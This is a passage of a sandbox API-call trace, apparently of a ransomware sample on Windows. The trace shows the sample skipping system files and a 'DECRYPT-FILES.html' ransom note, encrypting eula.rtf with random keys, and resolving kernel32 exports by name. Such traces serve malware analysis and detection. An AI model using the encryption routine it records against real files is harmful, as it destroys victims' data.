(lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0125.926] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0125.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\") returned 27 [0125.927] lstrlenW (lpString="eogwkz.dat") returned 10 [0125.927] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1040\\" | out: lpString1="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0125.927] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1040\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1040\\eogwkz.dat" [0125.927] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0125.927] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1040\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.927] CloseHandle (hObject=0x0) returned 0 [0125.927] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.927] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0125.927] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0125.927] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0125.928] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0125.928] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0125.928] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0125.928] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0125.928] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0125.928] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0125.928] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0125.928] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0125.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\") returned 27 [0125.928] lstrlenW (lpString="eula.rtf") returned 8 [0125.928] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1040\\" | out: lpString1="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0125.928] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf" [0125.928] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0125.928] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0125.930] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3643) returned 1 [0125.930] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0125.930] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0126.156] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0126.156] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0126.156] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0126.157] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0126.157] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0126.158] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.158] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0126.158] CloseHandle (hObject=0x5f8) returned 1 [0126.158] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.158] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0126.160] CloseHandle (hObject=0x0) returned 0 [0126.160] CloseHandle (hObject=0x5f4) returned 1 [0126.160] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.161] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.161] GetTickCount () returned 0x34efc [0126.161] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0126.161] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0126.161] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0126.162] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0126.162] lstrlenA (lpString="kernel32.dll") returned 12 [0126.162] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0126.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0126.162] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0126.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0126.162] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0126.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0126.162] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0126.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0126.162] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0126.163] lstrlenA (lpString="ADDATOMA") returned 8 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0126.163] lstrlenA (lpString="ADDATOMW") returned 8 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0126.163] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0126.163] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0126.163] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0126.163] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0126.163] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0126.163] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0126.163] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0126.163] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0126.163] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0126.163] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0126.163] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0126.163] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0126.163] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0126.163] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0126.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0126.163] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0126.164] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0126.164] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0126.164] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0126.164] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0126.164] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0126.164] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0126.164] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0126.164] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0126.164] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0126.164] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0126.164] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0126.164] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0126.164] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0126.164] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0126.164] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0126.164] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0126.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0126.165] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0126.165] lstrlenA (lpString="BACKUPREAD") returned 10 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0126.165] lstrlenA (lpString="BACKUPSEEK") returned 10 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0126.165] lstrlenA (lpString="BACKUPWRITE") returned 11 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0126.165] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0126.165] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0126.165] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0126.165] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0126.165] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0126.165] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0126.165] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0126.165] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0126.165] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0126.165] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0126.165] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0126.165] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0126.165] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0126.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0126.166] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0126.166] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0126.166] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0126.166] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0126.166] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0126.166] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0126.166] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0126.166] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0126.166] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0126.166] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0126.166] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0126.166] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0126.166] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0126.166] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0126.166] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0126.166] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0126.166] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0126.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0126.167] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0126.167] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0126.167] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0126.167] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0126.167] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0126.167] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0126.167] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0126.167] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0126.167] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0126.167] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0126.167] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0126.167] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0126.167] 